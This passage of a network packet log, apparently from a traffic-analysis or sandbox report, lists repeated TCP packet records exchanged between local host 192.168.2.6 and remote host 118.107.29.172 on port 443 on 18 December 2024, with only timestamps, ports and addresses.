Dec 18, 2024 13:35:36.082966089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.082984924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.102721930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.102752924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.102835894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.102868080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.102884054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.103059053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.108520031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.108544111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.108603954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.108616114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.108664036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.114192009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.114222050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.114247084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.114253998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.114279032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.114301920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.120214939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.120237112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.120306015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.120316029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.120358944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.125277996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.125299931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.125349998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.125359058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.125397921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.137089968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.137114048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.137151957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.137164116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.137188911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.137208939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.169447899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.169476032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.169517040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.169534922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.169553995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.169569969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.274919987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.274946928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.274992943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.275017023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.275029898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.275207043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.295217991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.295244932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.295283079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.295324087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.295348883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.295519114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.300908089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.300931931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.301016092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.301035881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.301083088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.306241989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.306265116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.306303978 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.306329012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.306375027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.306375027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.311959982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.311980009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.312031984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.312043905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.312067986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.312087059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.319493055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.319514990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.319555044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.319566011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.319592953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.319607019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.329757929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.329782009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.329822063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.329832077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.329860926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.329879045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.361577988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.361604929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.361650944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.361679077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.361695051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.361793995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.466730118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.466762066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.466803074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.466818094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.466846943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.466871023 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.496279955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.496326923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.496349096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.496367931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.496390104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.496407032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.500880003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.500901937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.500941038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.500946999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.500967026 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.501038074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.503607035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.503629923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.503659964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.503664970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.503707886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.510313034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.510335922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.510400057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.510406971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.510451078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.518069029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.518089056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.518126011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.518138885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.518176079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.525546074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.525582075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.525624037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.525630951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.525655985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.525672913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.555720091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.555751085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.555797100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.555815935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.555828094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.555871010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.659307003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.659349918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.659394979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.659424067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.659436941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.659462929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.685487032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.685519934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.685564041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.685573101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.685595036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.685614109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.690748930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.690772057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.690804958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.690809965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.690830946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.690848112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.696679115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.696702957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.696764946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.696770906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.696806908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.702943087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.702967882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.703007936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.703013897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.703053951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.707667112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.707689047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.707721949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.707726955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.707766056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.717866898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.717899084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.717933893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.717957973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.717972040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.717993021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.745663881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.745701075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.745734930 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.745742083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.745770931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.745789051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.851360083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.851389885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.851438046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.851458073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.851471901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.851568937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.877707958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.877736092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.877806902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.877815962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.877856016 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.882795095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.882818937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.882910013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.882916927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.882960081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.888933897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.888955116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.889000893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.889009953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.889029980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.889051914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.894449949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.894483089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.894536018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.894545078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.894575119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.894587994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.900722027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.900743961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.900805950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.900815010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.900851011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.900867939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.910295010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.910319090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.910370111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.910381079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.910407066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.910429001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.938179016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.938201904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.938275099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:36.938285112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:36.938342094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.046034098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.046056986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.046104908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.046116114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.046144009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.046160936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.070658922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.070686102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.070714951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.070722103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.070744991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.070761919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.075939894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.075956106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.075989962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.075994015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.076025963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.080714941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.080738068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.080784082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.080809116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.080822945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.080846071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.087554932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.087575912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.087620020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.087634087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.087652922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.087673903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.093240023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.093260050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.093300104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.093319893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.093337059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.093353987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.103748083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.103779078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.103818893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.103835106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.103848934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.103878021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.130714893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.130759954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.130796909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.130810022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.130846977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.130855083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.235899925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.235927105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.235980988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.236016035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.236031055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.236108065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.262105942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.262132883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.262196064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.262216091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.262238979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.262259960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.268858910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.268881083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.268919945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.268932104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.268975019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.274451971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.274471998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.274543047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.274558067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.274574041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.274590969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.280045986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.280064106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.280122042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.280133963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.280164957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.280185938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.285384893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.285403013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.285439968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.285454035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.285481930 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.285504103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.295382023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.295399904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.295458078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.295470953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.295507908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.322401047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.322426081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.322469950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.322489023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.322515965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.322527885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.428884983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.428915024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.428961992 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.428987026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.429009914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.429034948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.455714941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.455744028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.455781937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.455796957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.455823898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.455837965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.461144924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.461160898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.461231947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.461241007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.461278915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.466886044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.466902971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.466957092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.466964960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.467020988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:37.473042011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:37.473058939 CET	443	49728	118.107.29.172	192.168.2.6
